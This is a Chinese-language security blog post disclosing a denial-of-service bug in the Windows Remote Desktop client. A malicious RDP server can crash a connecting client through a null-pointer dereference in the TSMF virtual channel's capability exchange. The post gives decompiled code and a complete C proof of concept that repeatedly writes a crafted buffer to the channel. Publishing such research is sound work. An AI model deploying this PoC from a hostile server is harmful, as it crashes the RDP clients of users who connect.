RDP: Denied of Service
😅

RDP: Denied of Service

Tags
Vulnerability
RDP
Published
October 17, 2023
Author
Mas0n
(Image: ©Microsoft)
这篇文章内容是八月初在探索 Windows 远程桌面客户端时发现的一个空指针引用漏洞,微软回应表示不会修复这个漏洞,遂拿来水个文 😇

RDP Protocol intro

RDP(Remote Desktop Protocol),是微软设计通过网络控制远程计算机的协议,可传递的内容包括图形、音频、键盘鼠标输入等等等等
协议的实现往往枯燥而复杂,这里不会对协议实现细节长篇大论,微软提供了较为完整的协议文档可供读者参考。

Virtual Channel

Virtual Channel 是RDP协议中的一个抽象层,用于各类传输数据。
通过virtual channel,RDP实现了增强会话功能(剪切板复制粘贴、文件传输、打印机重定向 etc.)
其内部实现提供并管理多个virtual channel,分别对应不同的功能
notion image
 
在 client-side,Windows 提供了 WTS API 来操作 Virtual channel
virtual channel 又分为两种:
static
dynamic
静态通道主要有以下几个
RDPSND: 音频重定向
CLIPRDR: 剪切板重定向
RDPDR: 设备重定向
DRDYNVC: 动态通道支持
相应的,简单列几个动态通道
TSMF 视频重定向
PNPDR 即插即用设备重定向
不同类型的通道对应不同的处理函数,在动态通道中,client通过CDynVCChannel::HandleAsyncCall 分发动态通道接受到的消息。函数名对应规则*::OnDataReceived 指代不同通道对应的处理函数

Hole

漏洞发生在 tsmf 通道 client 与server 交换接口能力的函数CRIMObjManager::ExchangeCapabilities
for ( InterfaceId = 0; InterfaceId < this->Reserved0.cbOffset; ++InterfaceId )// 3 { memset(&ObjEntryHandler, 0, 0x18); if ( InterfaceId != this->Reserved20 // 2 && (unsigned int)DynArray<CRIMObjManager::CObjectEntry,unsigned long>::GetAt( &this->Reserved0, InterfaceId, (__int64)&ObjEntryHandler) ) { memset(&v12, 0, 0x18); if ( ObjEntryHandler.m_RIMStub ) { v8 = InterfaceId; LODWORD(v8) = InterfaceId | STREAM_ID_STUB; _guard_xfg_dispatch_icall_fptr(ObjEntryHandler.m_RIMStub, v8); ObjEntryHandler.m_RIMStream->NetworkId |= STREAM_ID_STUB; Offset = 0x20i64; } else { ObjEntryHandler.m_RIMStream->NetworkId |= STREAM_ID_PROXY; Offset = 0x30i64; } v10 = DynArray<CRIMObjManager::CObjectEntry,unsigned long>::AddAt( (DynArray<CRIMObjManager>::CObjectEntry *)((char *)this + Offset), InterfaceId, (__int64)&ObjEntryHandler); DynArray<CRIMObjManager::CObjectEntry,unsigned long>::AddAt(&this->Reserved0, InterfaceId, (__int64)&v12); // clean if ( !v10 ) v6 = E_OUTOFMEMORY; CRIMObjManager::CObjectEntry::~CObjectEntry(&v12); } CRIMObjManager::CObjectEntry::~CObjectEntry(&ObjEntryHandler); }
乍一看没什么问题,但实际上问题出在这个函数执行后会对 this->Reserved0 上对应CRIMObjManager::CObjectEntry 置空。
当我们再次发送相同的命令, DynArray<CRIMObjManager::CObjectEntry,unsigned long>::GetAt 获取到了空结构体,导致在对 ObjEntryHandler.m_RIMStream 解引用时得到了null,导致程序崩溃

影响

当用户连接到一台恶意的远程主机上时,远程主机可向其发送特定消息引发用户端程序崩溃

POC

#include<Windows.h> #include<wtsapi32.h> #pragma comment(lib,"wtsapi32.lib") int trigger(HANDLE TargetHandle) { DWORD NumberOfBytesWritten = 0; const char Buffer[0x11] = "\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00"; WriteFile(TargetHandle, &Buffer, 0x10, &NumberOfBytesWritten, 0); return NumberOfBytesWritten; } int main() { PVOID ppBuffer; DWORD pBytesReturned; HANDLE hChannelHandle; HANDLE TargetHandle; HANDLE vcFileHandle; hChannelHandle = WTSVirtualChannelOpenEx(0xFFFFFFFF, LPSTR("TSMF"), 1); if (!hChannelHandle) return 0; WTSVirtualChannelQuery(hChannelHandle, WTS_VIRTUAL_CLASS(1), &ppBuffer, &pBytesReturned); memcpy(&vcFileHandle, ppBuffer, sizeof(vcFileHandle)); if (!DuplicateHandle(GetCurrentProcess(), vcFileHandle, GetCurrentProcess(), &TargetHandle, NULL, NULL, 2)) return 0; if (ppBuffer) WTSFreeMemory(ppBuffer); if (hChannelHandle) WTSVirtualChannelClose(hChannelHandle); while(1) { trigger(TargetHandle); } return 0; }